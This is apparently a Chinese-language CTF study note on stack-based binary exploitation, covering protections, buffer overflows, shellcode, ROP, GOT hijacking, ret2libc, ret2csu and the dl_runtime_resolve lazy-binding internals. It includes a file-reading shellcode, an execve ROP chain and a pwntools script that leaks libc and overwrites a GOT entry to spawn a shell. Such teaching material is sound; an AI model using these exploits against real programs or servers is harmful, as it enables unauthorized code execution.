# Pwn-Stack based attack
> Author:堇姬
## 我用的debug環境
- Pwndbg+pwngdb
- r2
- IDA or Ghidra
- local debug
```
tmux
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
gdb.attach(r)
```
## What is Pwn?
二進制程式檔滲透,
其實就是找尋程式中的漏洞,或是取得伺服器權限,使用伺服器 shell 偷取檔案、修改資料等等。
- 看原始碼、組合語言找漏洞
- 透過input、output來get shell等...
## pwn target
很多東西都可以打
VM、IoT、linux、windows...
## memory
```
+----------------------+ <-- High Memory Address
| Stack |
+----------------------+
|
v (grows down)
^
| (grows up)
+----------------------+
| Heap |
+----------------------+
| BSS |
+----------------------+
| Data |
+----------------------+
| Text |
+----------------------+ <-- Low Memory Address
```
### Text
- 程式碼
- r-x(不可寫)
### Data
- 已給值全域變數
### BSS
- 未給值全域變數
### Heap
- 動態記憶體空間
- malloc()、free()
- 低位往高位
### stack
- 暫存空間
1 區域變數
2 return address
3 參數
4 return value
- 高位往低位
- rsp:stack pointer,指向stack頂端
- rbp:base pointer,指向stack底部
![image](https://hackmd.io/_uploads/BJKxjeCPR.png)
## 保護機制
```
checksec ./檔案
```
- RELRO
- Stack canary
- NX
- PIE
- ASLR
### RELRO(ReLocation Read-Only)
分為 Partial RELRO 與 Full RELRO
No RELRO -> Link Map、GOT 可寫
Partial RELRO -> Link Map 不可寫、GOT 可寫
Full RELRO -> Link Map、GOT 皆不可寫
```
-z norelro / -z lazy / -z now
```
### stack canary
在retuen address前面加一層8 bytes的隨機值,return 前檢查是否相同,不同就會crash
特徵是程式disassemble底下會有像是`stack_chk`之類的function
```
gcc test.c -o test -fno-stack-protector #不開啟
gcc test.c -o test -fstack-protector #只保護部分函數
gcc test.c -o test -fstack-protector-all #所有函數都加入canary
```
```
[Stack]
| stack Variables |
| Canary Value | <-- canary value
| old rbp |
| Return Address |
-----------------------
```
### NX
寫入及執行權限不同時存在,所以不太能寫shellcode
```
execstack // 禁用NX
noexecstack // 開NX
```
### PIE
.text、.data、.bss地址隨機
```
-no-pie #關閉PIE
```
### ASLR
library、heap、stack 隨機化
### seccomp
可以禁用掉一下syscall,如execve、system這些危險函數
可以用這東西看禁用了哪些
https://github.com/david942j/seccomp-tools
![image](https://hackmd.io/_uploads/H1tFl-RwA.png)
## register
![image](https://hackmd.io/_uploads/BycK5Jr9A.png)
## oob
一個陣列,若對於輸入的索引沒有限制,就可以讀到陣列外stack上的資料
```
arr[i] (int) = *(arr + i *sizeof(int))
```
## int overflow
|類型|byte|範圍|
|---|---|---|
|short int|2byte(word)|0 ~ 32767(0 ~ 0x7fff) 及 -32768 ~ -1(0x8000~0xffff)|
|unsigned short int|2byte(word)|0 ~ 65535(0 ~ 0xffff)|
|int|4byte(dword)|0 ~ 2147483647(0 ~ 0x7fffffff) 及 -2147483648 ~ -1 (0x80000000 ~ 0xffffffff)|
|unsigned int|4byte(dword)|0 ~ 4294967295(0 ~ 0xffffffff)|
|long int|8byte(qword) |0 ~ 0x7fffffffffffffff 及 0x8000000000000000 ~ 0xffffffffffffffff(負)|
|unsigned long int|8byte(qword) |0 ~ 0xffffffffffffffff|
## partial overwrite
printf會印到直到碰到`\x00`,所以如果可以把canary、或stack 上libc的`\x00`蓋掉,就可以leak canary或各種值
## stack(堆疊)
![image](https://hackmd.io/_uploads/H1cqZ-RPR.png)
### old rbp
- 產生原因:一開始做了push rbp,所以rbp被丟到了stack上,通常為了stack平衡所以最後會leave,來pop rbp
- 如果一開始沒有push rbp,通常也就不會有leave
### stack return address
- call function前會先將return address存到stack
- 這樣function結束後就可以從stack拿出return address
## buffer ovweflow
輸入如果沒有上限,就可以一直寫到return address來控制程式流程
```
gets、strcpy、strncpy、scanf、read(長度沒寫好)...
```
```c=
#include <stdio.h>
int main(){
char buffer[8];
gets(buffer);
return 0;
}
```
![image](https://hackmd.io/_uploads/Bkk5MbADC.png)
### return2code
透過BOF把return address 改到code任意處
```c=
#include <stdio.h>
int shell(){
system("/bin/sh");
}
int main(){
char buffer[8];
gets(buffer);
return 0;
}
```
這邊要注意一件事,跳過去時要注意該位址存不存在push rbp之類的,如果有要往後跳一點
### ret2shellcode
- 須關閉NX
- return到自己寫的shellcode
- 不要蓋掉重要的程式
- 看有rwx,-wx(gdb)
Shellcode:
https://shell-storm.org/shellcode/index.html
https://www.exploit-db.com/exploits
可以自己寫shellcode
#### orw
```python=
sc = asm('\n\n'.join([
'push %d' % u32('ag\0\0'),
'push %d' % u32('w/fl'),
'push %d' % u32('e/or'),
'push %d' % u32('/hom'),
'xor edx, edx',
'xor ecx, ecx',
'mov ebx, esp',
'mov eax, 5',
'int 0x80',
'mov edx, 128',
'mov ecx, esp',
'mov ebx, eax',
'mov eax, 3',
'int 0x80',
'mov edx, eax',
'mov ecx, esp',
'mov ebx, 0',
'mov eax, 4',
'int 0x80'
]))
```
#### mprotect
可以改一塊記憶體權限,並在上面做更多操作
sys_mprotect
```c
mprotect(const void *start, size_t len, int prot);
```
|register|value|
|--------|-----|
|rax|10|
|rdi|開始的address|
|rsi|長度|
|rdx|rwx|
## ROP
### gadget
- 結尾是`ret` 或是 `jump <addr>`的gadget
- 可以控制register
- 可對任意address寫入資料
- syscall
- ROPgadget尋找適合的gadget
```
ROPgadget --binary ./<your binary>
```
### ROP chain
我們可以找可以控制register的gadget,串成一條鏈,設定好register後call syscall
stack -> call execve
```
pop rax
0x3b
pop rdi
command_addr_in_stack
pop rsi
0
pop rdx;
0
syscall
```
https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md
#### 題目
https://hackmd.io/@naup96321/SkGljHPZC
## stack migration
https://hackmd.io/@naup96321/B1FUxutQC
## Fixed Size Migration
https://hackmd.io/@naup96321/Hyown32m0
## libc 相關
### libc是啥
如果把所有函數都包進去程式,那整個檔案就會很肥,所以把函式備份在每個人的電腦裡,再透過一些機制去把它拿出來
### static
把所有函式包進去ELF
#### demo
```c
#include <stdio.h>
int main()
{
puts("Hello World");
return 0;
}
```
```
gcc static.c -o static --static
```
static沒有libc段
![image](https://hackmd.io/_uploads/rye5vZAPA.png)
並且可以發現他把函式實現方式都直接包進去了
![image](https://hackmd.io/_uploads/SyuRPb0PC.png)
### dynamic
libc函數在dynamic link時候都是透過GOT表來進行跳轉找到函式的
### GOT(global offset table)
GOT存著很多個一樣大小的元素,形成一個table(基本上就是array)。每個元素都是一個指標(32bit->4 byte,64bit -> 8 byte),指向程式所需要的變數或者是函數
|位置|內容|
|---|---|
|.got|全域變數的位置|
|.got.plt|儲存的則是其他library中函式的位置|
## PLT(procedure linkage table)
PLT存著很多個一樣大小的元素,形成一個table
第一個元素是公共plt,負責呼叫動態鏈接器。從第二個開始每個元素分別對應到一個動態鏈接的函數
### dynamic link
- 當程式碼中 Call Printf(),在對應的組語會看見 看到call printf@plt。
- printf@GOT會回去向.got.plt取值
- 由於是第一次使用函數,在GOT 表中並不會找到該函數地址,因此必須透過 PLT 將 GOT 重定位
- 將找到的函數位置所需的參數 推入 stack中
- 透過執行dl_runtime_resolve 找出函式位址
- 系統就會把 function 的位址寫進 .got.plt 當中
![image](https://hackmd.io/_uploads/HJhKIbAvR.png)
![image](https://hackmd.io/_uploads/BkBCu-RwA.png)
## GOT hijack
如果我可以改寫GOT,那我就可以跳到我指定的位置
例如,我把puts GOT內容改成system plt,那他就會抓到system address,那只要call puts就會呼叫到system
![image](https://hackmd.io/_uploads/HkdLF-0DR.png)
### demo
source code
```c=
#include <stdio.h>
// gcc gothijack.c -o gothijack -z lazy
unsigned long long array[0x100];
void init()
{
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
}
void menu()
{
printf("1: set\n");
printf("2: get\n");
}
int main()
{
char buf[0x100] = { 0 };
int choice;
int idx;
unsigned long long value;
init();
while (1) {
menu();
scanf("%256s", buf);
choice = atoi(buf);
printf("idx:\n");
scanf("%d", &idx);
if (choice == 1) {
printf("value:\n");
scanf("%llu", &value);
array[idx] = value;
} else if (choice == 2) {
printf("%#llx\n", array[idx]);
}
}
exit(1);
}
```
### 分析
分析一下發現idx並沒有限制,所以可以透過輸入非預期的範圍來oob寫到其他位置,這邊先看一下array位置
0x555555558080
![image](https://hackmd.io/_uploads/B1Z51Y1KR.png)
然後看GOT的位置
![image](https://hackmd.io/_uploads/SkG21FkKR.png)
![image](https://hackmd.io/_uploads/Hy-yxFJKA.png)
0x4030(atoi@GLIBC_2.2.5)+0x555555554000=0x555555558030
輸入-10就可以對該位置任意讀寫了
![image](https://hackmd.io/_uploads/SJE-gY1K0.png)
再來是要把他atoi改寫成libc system然後跳到上面去
### script
```python=
from pwn import *
from NAUP_pwn_lib import *
context.arch='amd64'
REMOTE_LOCAL=input("local?(y/n):")
if REMOTE_LOCAL=="y":
debug_init()
r=process('./gothijack')
else:
REMOTE_INFO=split_nc("nc naup.com 2000")
REMOTE_IP=REMOTE_INFO[0]
REMOTE_PORT=int(REMOTE_INFO[1])
r=remote(REMOTE_IP,REMOTE_PORT)
#gdb.attach(r)
r.sendlineafter(b'2: get\n',b'2')
r.sendlineafter(b'idx:\n',b'-10')
leaklibc=int(r.recvline().strip().decode(),16)
offset=0x43640
libc_base=leaklibc-offset
NAUPINFO('LEAK_LIBC',hex(leaklibc))
NAUPINFO('LIBC_BASE',hex(libc_base))
system_offset=0x50d70
libc_system=system_offset+libc_base
r.sendlineafter(b'2: get\n',b'1')
r.sendlineafter(b'idx:\n',b'-10')
r.sendlineafter(b'value:\n',str(libc_system).encode())
r.sendline(b'/bin/sh')
r.interactive()
```
## ret2libc
- 若能得知 libc base,則可以計算出 libc 中 function 的位置,便能調⽤ library 中的函式。
- 關鍵為 bypass ASLR,找出 libc 的隨機 base
- 透過 information leak 漏洞,洩漏 memory 上的內容,獲取屬於 libcsegment 的 address
- 此 address 會是隨機的 base address 加上⼀固定位移植 ofset (不同版本的 libc ofset 不同)
看libc
```
readelf -a <your libc> | less
```
- libc base只能在執行中leak出來
1.尋找執行中用到的libc位置
2.stack殘渣
### 算libc base
```
puts_got_value = libc_base + puts_libc
libc_base = puts_got_value - puts_libc
```
可以確認最後1.5 byte是否為000,來確認算出的base正不正確
### demo
https://hackmd.io/@naup96321/rynMnRBmR
## ret2csu
https://xz.aliyun.com/t/13313?time__1311=GqmxuD2DgQi%3DD%3DD%2FD0erGktKq0KlPgr4rD
```
.text:00000000004005C0 ; void _libc_csu_init(void)
.text:00000000004005C0 public __libc_csu_init
.text:00000000004005C0 __libc_csu_init proc near ; DATA XREF: _start+16o
.text:00000000004005C0 push r15
.text:00000000004005C2 push r14
.text:00000000004005C4 mov r15d, edi
.text:00000000004005C7 push r13
.text:00000000004005C9 push r12
.text:00000000004005CB lea r12, __frame_dummy_init_array_entry
.text:00000000004005D2 push rbp
.text:00000000004005D3 lea rbp, __do_global_dtors_aux_fini_array_entry
.text:00000000004005DA push rbx
.text:00000000004005DB mov r14, rsi
.text:00000000004005DE mov r13, rdx
.text:00000000004005E1 sub rbp, r12
.text:00000000004005E4 sub rsp, 8
.text:00000000004005E8 sar rbp, 3
.text:00000000004005EC call _init_proc
.text:00000000004005F1 test rbp, rbp
.text:00000000004005F4 jz short loc_400616
.text:00000000004005F6 xor ebx, ebx
.text:00000000004005F8 nop dword ptr [rax+rax+00000000h]
.text:0000000000400600
.text:0000000000400600 loc_400600: ; CODE XREF: __libc_csu_init+54j
.text:0000000000400600 mov rdx, r13
.text:0000000000400603 mov rsi, r14
.text:0000000000400606 mov edi, r15d
.text:0000000000400609 call qword ptr [r12+rbx*8]
.text:000000000040060D add rbx, 1
.text:0000000000400611 cmp rbx, rbp
.text:0000000000400614 jnz short loc_400600
.text:0000000000400616
.text:0000000000400616 loc_400616: ; CODE XREF: __libc_csu_init+34j
.text:0000000000400616 add rsp, 8
.text:000000000040061A pop rbx
.text:000000000040061B pop rbp
.text:000000000040061C pop r12
.text:000000000040061E pop r13
.text:0000000000400620 pop r14
.text:0000000000400622 pop r15
.text:0000000000400624 retn
.text:0000000000400624 __libc_csu_init endp
```
首先我們先看這段,可以控 rbx, rbp, r12, r13, r14, r15
```
.text:000000000040061A pop rbx
.text:000000000040061B pop rbp
.text:000000000040061C pop r12
.text:000000000040061E pop r13
.text:0000000000400620 pop r14
.text:0000000000400622 pop r15
.text:0000000000400624 retn
```
這段可以控
r14 -> rdx
r13 -> rsi
r12 -> edi
最後call r15+rbx*8 跳到其他位置
```
.text:0000000000401250 4C 89 F2 mov rdx, r14
.text:0000000000401253 4C 89 EE mov rsi, r13
.text:0000000000401256 44 89 E7 mov edi, r12d
.text:0000000000401259 41 FF 14 DF call ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]
.text:0000000000401259
.text:000000000040125D 48 83 C3 01 add rbx, 1
.text:0000000000401261 48 39 DD cmp rbp, rbx
.text:0000000000401264 75 EA jnz short loc_401250
```
## srop
直接參考我這篇
https://hackmd.io/@naup96321/BJh1D4BHA
## ret2 dl_runtime_resolve
有時候在沒有適合gadget的時候,可以利用lazy binding時,dl_runtime_resolve解析函數時,通過修改的解析字串符,來達到解析任意函數
### 複習一下GOT
GOT內有很多段
- .dynamic
- .got -> 紀錄用到的全域變數
- .got.plt -> 紀錄函式引用位置
- .data
got.plt又有三塊
|Name|Description|
|----|-----|
|address of .dynamic|指向 GOT 的 .dynamic|
|link_map|一個link list,用來紀錄用到的 Library|
|dl_resolve|找出函式的絕對位置|
```
------------ -----------------
| .dynamic | <-- | addr .dynamic |
| .got | | link map |
| .got.plt | --- | dl_resolve |
| .data | | printf |
------------ | gets |
| ... |
```
### 追gdb
一樣開追gdb進去看他lazy binding做了啥
#### env
跑這支binary
```c
#include <stdio.h>
// gcc demo.c -o demo -z lazy
int main(){
char buffer[8];
gets(buffer);
return 0;
}
```
首先他先call gets@plt
```c
0x00000000004005b9 <+35>: call 0x400480 <gets@plt>
```
```c
pwndbg> disassemble 0x400480
Dump of assembler code for function gets@plt:
0x0000000000400480 <+0>: jmp QWORD PTR [rip+0x200ba2] # 0x601028 <gets@got.plt>
0x0000000000400486 <+6>: push 0x2
0x000000000040048b <+11>: jmp 0x400450
```
大概可以分成幾個部分
```
跳到gets@got.plt
push 0x2 (offset)
跳到dl resolve
```
![image](https://hackmd.io/_uploads/Bk1sU2Qp0.png)
這邊先跳到gets@got.plt
裡面存的是0x400486
```c
pwndbg> x/10xg 0x601028
0x601028 <gets@got.plt>: 0x0000000000400486 0x0000000000000000
```
會跳回來gets@plt+0x6
並推入0x2這個offset (reloc_arg)
之後跳進去dl_runtime_resolve
```c
pwndbg> x/10i 0x400450
0x400450: push QWORD PTR [rip+0x200bb2] # 0x601008 <_GLOBAL_OFFSET_TABLE_+8>
0x400456: jmp QWORD PTR [rip+0x200bb4] # 0x601010 <_dl_runtime_resolve_xsavec>
```
0x601000 -> .dynamic section (_GLOBAL_OFFSET_TABLE)
0x601008 -> linkmap (_GLOBAL_OFFSET_TABLE+8)
0x601010 -> _dl_runtime_resolve (_GLOBAL_OFFSET_TABLE + 0x10)
```c
pwndbg> x/10xg 0x601008
0x601008: 0x00007cdd0d4fb168 0x00007cdd0d2ebf10
```
push了linkmap到stack
並跳到 _dl_runtime_resolve_xsave 他用來把 function 真正的 address 填入 GOT
具體實作如下
```c
=> 0x7cdd0d2ebf10 <_dl_runtime_resolve_xsavec>: push rbx
0x7cdd0d2ebf11 <_dl_runtime_resolve_xsavec+1>: mov rbx,rsp
0x7cdd0d2ebf14 <_dl_runtime_resolve_xsavec+4>: and rsp,0xffffffffffffffc0
0x7cdd0d2ebf18 <_dl_runtime_resolve_xsavec+8>: sub rsp,QWORD PTR [rip+0x20de31] # 0x7cdd0d4f9d50 <_rtld_global_ro+176>p+0x250],rdx
0x7cdd0d2ebf1f <_dl_runtime_resolve_xsavec+15>: mov QWORD PTR [rsp],rax
0x7cdd0d2ebf23 <_dl_runtime_resolve_xsavec+19>: mov QWORD PTR [rsp+0x8],rcx
0x7cdd0d2ebf28 <_dl_runtime_resolve_xsavec+24>: mov QWORD PTR [rsp+0x10],rdx
0x7cdd0d2ebf2d <_dl_runtime_resolve_xsavec+29>: mov QWORD PTR [rsp+0x18],rsi
0x7cdd0d2ebf32 <_dl_runtime_resolve_xsavec+34>: mov QWORD PTR [rsp+0x20],rdi
0x7cdd0d2ebf37 <_dl_runtime_resolve_xsavec+39>: mov QWORD PTR [rsp+0x28],r8
0x7cdd0d2ebf3c <_dl_runtime_resolve_xsavec+44>: mov QWORD PTR [rsp+0x30],r9
0x7cdd0d2ebf41 <_dl_runtime_resolve_xsavec+49>: mov eax,0xee
0x7cdd0d2ebf46 <_dl_runtime_resolve_xsavec+54>: xor edx,edx
0x7cdd0d2ebf48 <_dl_runtime_resolve_xsavec+56>: mov QWORD PTR [rsp+0x250],rdx
0x7cdd0d2ebf50 <_dl_runtime_resolve_xsavec+64>: mov QWORD PTR [rsp+0x258],rdx
0x7cdd0d2ebf58 <_dl_runtime_resolve_xsavec+72>: mov QWORD PTR [rsp+0x260],rdx
0x7cdd0d2ebf60 <_dl_runtime_resolve_xsavec+80>: mov QWORD PTR [rsp+0x268],rdx
0x7cdd0d2ebf68 <_dl_runtime_resolve_xsavec+88>: mov QWORD PTR [rsp+0x270],rdx
0x7cdd0d2ebf70 <_dl_runtime_resolve_xsavec+96>: mov QWORD PTR [rsp+0x278],rdx
0x7cdd0d2ebf78 <_dl_runtime_resolve_xsavec+104>: xsavec [rsp+0x40]
0x7cdd0d2ebf7d <_dl_runtime_resolve_xsavec+109>: mov rsi,QWORD PTR [rbx+0x10]
0x7cdd0d2ebf81 <_dl_runtime_resolve_xsavec+113>: mov rdi,QWORD PTR [rbx+0x8]
0x7cdd0d2ebf85 <_dl_runtime_resolve_xsavec+117>: call 0x7cdd0d2e3a30 <_dl_fixup>
0x7cdd0d2ebf8a <_dl_runtime_resolve_xsavec+122>: mov r11,rax
0x7cdd0d2ebf8d <_dl_runtime_resolve_xsavec+125>: mov eax,0xee
0x7cdd0d2ebf92 <_dl_runtime_resolve_xsavec+130>: xor edx,edx
0x7cdd0d2ebf94 <_dl_runtime_resolve_xsavec+132>: xrstor [rsp+0x40]
0x7cdd0d2ebf99 <_dl_runtime_resolve_xsavec+137>: mov r9,QWORD PTR [rsp+0x30]
0x7cdd0d2ebf9e <_dl_runtime_resolve_xsavec+142>: mov r8,QWORD PTR [rsp+0x28]
0x7cdd0d2ebfa3 <_dl_runtime_resolve_xsavec+147>: mov rdi,QWORD PTR [rsp+0x20]
0x7cdd0d2ebfa8 <_dl_runtime_resolve_xsavec+152>: mov rsi,QWORD PTR [rsp+0x18]
0x7cdd0d2ebfad <_dl_runtime_resolve_xsavec+157>: mov rdx,QWORD PTR [rsp+0x10]
0x7cdd0d2ebfb2 <_dl_runtime_resolve_xsavec+162>: mov rcx,QWORD PTR [rsp+0x8]
0x7cdd0d2ebfb7 <_dl_runtime_resolve_xsavec+167>: mov rax,QWORD PTR [rsp]
0x7cdd0d2ebfbb <_dl_runtime_resolve_xsavec+171>: mov rsp,rbx
0x7cdd0d2ebfbe <_dl_runtime_resolve_xsavec+174>: mov rbx,QWORD PTR [rsp]
0x7cdd0d2ebfc2 <_dl_runtime_resolve_xsavec+178>: add rsp,0x18
0x7cdd0d2ebfc6 <_dl_runtime_resolve_xsavec+182>: bnd jmp r11
```
他將register的值存到stack上
並將rsi設為offset
![image](https://hackmd.io/_uploads/ry6pa3X6R.png)
```c
pwndbg> x/10xg 0x7ffc0454e910+0x10
0x7ffc0454e920: 0x0000000000000002
```
rdi設為linkmap
![image](https://hackmd.io/_uploads/H1zsC3ma0.png)
```
pwndbg> x/10xg 0x7ffc0454e910+0x8
0x7ffc0454e918: 0x00007cdd0d4fb168 0x0000000000000002
```
並call _dl_fixup
`_dl_fixup(l,reloc_arg)`
https://elixir.bootlin.com/glibc/glibc-2.31/source/elf/dl-runtime.c#L61
他會尋找函式庫具體的位置並填入到GOT中
詳細解釋在下面
最後call
`elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value)`
將GOT填入function在libc的位置
這樣就寫入成功了,跑完剩下的xsave就進入到libc gets function內部
```c
pwndbg> x/10xg 0x601028
0x601028 <gets@got.plt>: 0x00007cdd0cf78d90 0x0000000000000000
```
![image](https://hackmd.io/_uploads/rk7JV6XTR.png)
### fixup詳細展開
看完上方lazy binding過程,不難理解 _dl_runtime_resolve_xsave 之前跟最後填表,比較複雜的是fixup
先來看看linkmap是啥
https://elixir.bootlin.com/glibc/glibc-2.37/source/include/link.h#L95
關注到 l_info,他指向 ElfW(Dyn) 也就是 .dynamic
這邊回去關注到 .dynamic
https://elixir.bootlin.com/glibc/glibc-2.37/source/elf/elf.h#L849
```c
/* Dynamic section entry. */
typedef struct
{
Elf32_Sword d_tag; /* Dynamic entry type */
union
{
Elf32_Word d_val; /* Integer value */
Elf32_Addr d_ptr; /* Address value */
} d_un;
} Elf32_Dyn;
typedef struct
{
Elf64_Sxword d_tag; /* Dynamic entry type */
union
{
Elf64_Xword d_val; /* Integer value */
Elf64_Addr d_ptr; /* Address value */
} d_un;
} Elf64_Dyn;
```
還有一堆tag
```c
/* Legal values for d_tag (dynamic entry type). */
#define DT_NULL 0 /* Marks end of dynamic section */
#define DT_NEEDED 1 /* Name of needed library */
#define DT_PLTRELSZ 2 /* Size in bytes of PLT relocs */
#define DT_PLTGOT 3 /* Processor defined value */
#define DT_HASH 4 /* Address of symbol hash table */
#define DT_STRTAB 5 /* Address of string table */
#define DT_SYMTAB 6 /* Address of symbol table */
#define DT_RELA 7 /* Address of Rela relocs */
#define DT_RELASZ 8 /* Total size of Rela relocs */
#define DT_RELAENT 9 /* Size of one Rela reloc */
#define DT_STRSZ 10 /* Size of string table */
#define DT_SYMENT 11 /* Size of one symbol table entry */
#define DT_INIT 12 /* Address of init function */
#define DT_FINI 13 /* Address of termination function */
#define DT_SONAME 14 /* Name of shared object */
#define DT_RPATH 15 /* Library search path (deprecated) */
#define DT_SYMBOLIC 16 /* Start symbol search here */
#define DT_REL 17 /* Address of Rel relocs */
#define DT_RELSZ 18 /* Total size of Rel relocs */
#define DT_RELENT 19 /* Size of one Rel reloc */
#define DT_PLTREL 20 /* Type of reloc in PLT */
#define DT_DEBUG 21 /* For debugging; unspecified */
#define DT_TEXTREL 22 /* Reloc might modify .text */
#define DT_JMPREL 23 /* Address of PLT relocs */
#define DT_BIND_NOW 24 /* Process relocations of object */
#define DT_INIT_ARRAY 25 /* Array with addresses of init fct */
#define DT_FINI_ARRAY 26 /* Array with addresses of fini fct */
#define DT_INIT_ARRAYSZ 27 /* Size in bytes of DT_INIT_ARRAY */
#define DT_FINI_ARRAYSZ 28 /* Size in bytes of DT_FINI_ARRAY */
#define DT_RUNPATH 29 /* Library search path */
#define DT_FLAGS 30 /* Flags for the object being loaded */
#define DT_ENCODING 32 /* Start of encoded range */
#define DT_PREINIT_ARRAY 32 /* Array with addresses of preinit fct*/
#define DT_PREINIT_ARRAYSZ 33 /* size in bytes of DT_PREINIT_ARRAY */
#define DT_SYMTAB_SHNDX 34 /* Address of SYMTAB_SHNDX section */
#define DT_RELRSZ 35 /* Total size of RELR relative relocations */
#define DT_RELR 36 /* Address of RELR relative relocations */
#define DT_RELRENT 37 /* Size of one RELR relative relocaction */
#define DT_NUM 38 /* Number used */
#define DT_LOOS 0x6000000d /* Start of OS-specific */
...
```
有許多常用的pointer或是value
上面的_dl_fixup調用了
|pointer|意義|
|-------|---|
|l_info[DT_SYMTAB]| symbol table 位址 (.dynsym)|
|l_info[DT_STRTAB]| string table 位址 (.dynstr)|
|l_info[DT_JMPREL]|.rel.plt|
|l_info[VERSYMIDX (DT_VERSYM)]|.gnu.version|
等dynamic段的東西
詳細展開這些東西請見
https://sp4n9x.github.io/2020/08/15/ret2_dl_runtime_resolve%E8%AF%A6%E8%A7%A3/#2%E3%80%81%E5%8A%A8%E6%80%81%E9%93%BE%E6%8E%A5%E7%9B%B8%E5%85%B3%E7%BB%93%E6%9E%84
那回來看看 _dl_fixup
直接看source code
https://elixir.bootlin.com/glibc/glibc-2.31/source/elf/dl-runtime.c#L61
```c
DL_FIXUP_VALUE_TYPE
attribute_hidden __attribute ((noinline)) ARCH_FIXUP_ATTRIBUTE
_dl_fixup (
# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
ELF_MACHINE_RUNTIME_FIXUP_ARGS,
# endif
struct link_map *l, ElfW(Word) reloc_arg)
{
// 取得 symbol table 位址 (.dynsym)
const ElfW(Sym) *const symtab
= (const void *) D_PTR (l, l_info[DT_SYMTAB]);
// 取得 string table 位址 (.dynstr)
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
// reloc_offset 從 reloc_arg 得來,
// 取得 PLTREL, 為 rel 或 rela
// 詳細請看尾部補充
const PLTREL *const reloc
= (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
// 取得對應 Sym, 從 .dynsym 和 r_info 推算出來
// ELFW(R_SYM) 最終展開成 ELF32_R_SYM 或 ELF64_R_SYM
// ELF32_R_SYM(i) 展開為 ((i) >> 8)
// ELF64_R_SYM(i) 展開為 ((i) >> 32)
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
const ElfW(Sym) *refsym = sym;
// GOT 位址, 解析完成後會將結果放回來
void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
lookup_t result;
DL_FIXUP_VALUE_TYPE value;
// ELFW(R_TYPE) 最終展開成 ELF32_R_TYPE 或 ELF64_R_TYPE
// ELF32_R_TYPE(i) 展開為 ((i) & 0xff)
// ELF64_R_TYPE(i) 展開為 ((i) & 0xffffffff)
/* Sanity check that we're really looking at a PLT relocation. */
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
// st_other 我們設為 0, 步入 if
/* Look up the target symbol. If the normal lookup rules are not
used don't look in the global scope. */
if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
{
const struct r_found_version *version = NULL;
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
{
const ElfW(Half) *vernum =
(const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}
/* We need to keep the scope around so do some locking. This is
not necessary for objects which cannot be unloaded or when
we are not using any threads (yet). */
int flags = DL_LOOKUP_ADD_DEPENDENCY;
if (!RTLD_SINGLE_THREAD_P)
{
THREAD_GSCOPE_SET_FLAG ();
flags |= DL_LOOKUP_GSCOPE_LOCK;
}
#ifdef RTLD_ENABLE_FOREIGN_CALL
RTLD_ENABLE_FOREIGN_CALL;
#endif
// 解析 symbol name
// strtab + sym->st_name
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
version, ELF_RTYPE_CLASS_PLT, flags, NULL);
/* We are done with the global scope. */
if (!RTLD_SINGLE_THREAD_P)
THREAD_GSCOPE_RESET_FLAG ();
#ifdef RTLD_FINALIZE_FOREIGN_CALL
RTLD_FINALIZE_FOREIGN_CALL;
#endif
/* Currently result contains the base load address (or link map)
of the object that defines sym. Now add in the symbol
offset. */
value = DL_FIXUP_MAKE_VALUE (result,
SYMBOL_ADDRESS (result, sym, false));
}
else
{
/* We already found the symbol. The module (and therefore its load
address) is also known. */
value = DL_FIXUP_MAKE_VALUE (l, SYMBOL_ADDRESS (l, sym, true));
result = l;
}
/* And now perhaps the relocation addend. */
value = elf_machine_plt_value (l, reloc, value);
if (sym != NULL
&& __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));
/* Finally, fix up the plt itself. */
if (__glibc_unlikely (GLRO(dl_bind_not)))
return value;
// 最終將解析結果放回 GOT
return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value);
}
```
懶人包
1. 取得函式的.rel.plt位址,存入reloc
```c
const PLTREL *const reloc
= (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
```
2. 取得symbol table ,存入 sym
```c
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
```
3. strtab + sym->st_name取得函式名稱,跟其他資料一起丟進去_dl_lookup_symbol_x
4. _dl_lookup_symbol_x 搜尋出哪個函式的東西,跟第一個參數,也就是傳入的函式名稱字串是直接相關的。如果丟進去的是gets,那搜尋出來的就會是gets的東西,最後修復出來的就會是gets的位址。
> dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
version, ELF_RTYPE_CLASS_PLT, flags, NULL)
6. 繼續運算,修復出函式位址,寫入函式的GOT中,並回傳
jmprel 是這東西
```c
LOAD:0000000000400670 ; ELF JMPREL Relocation Table
LOAD:0000000000400670 Elf64_Rela <404018h, 100000007h, 0> ; R_X86_64_JUMP_SLOT _exit
LOAD:0000000000400688 Elf64_Rela <404020h, 200000007h, 0> ; R_X86_64_JUMP_SLOT __read_chk
LOAD:00000000004006A0 Elf64_Rela <404028h, 300000007h, 0> ; R_X86_64_JUMP_SLOT puts
LOAD:00000000004006B8 Elf64_Rela <404030h, 400000007h, 0> ; R_X86_64_JUMP_SLOT __stack_chk_fail
LOAD:00000000004006D0 Elf64_Rela <404038h, 500000007h, 0> ; R_X86_64_JUMP_SLOT printf
LOAD:00000000004006E8 Elf64_Rela <404040h, 600000007h, 0> ; R_X86_64_JUMP_SLOT alarm
LOAD:0000000000400700 Elf64_Rela <404048h, 800000007h, 0> ; R_X86_64_JUMP_SLOT atoll
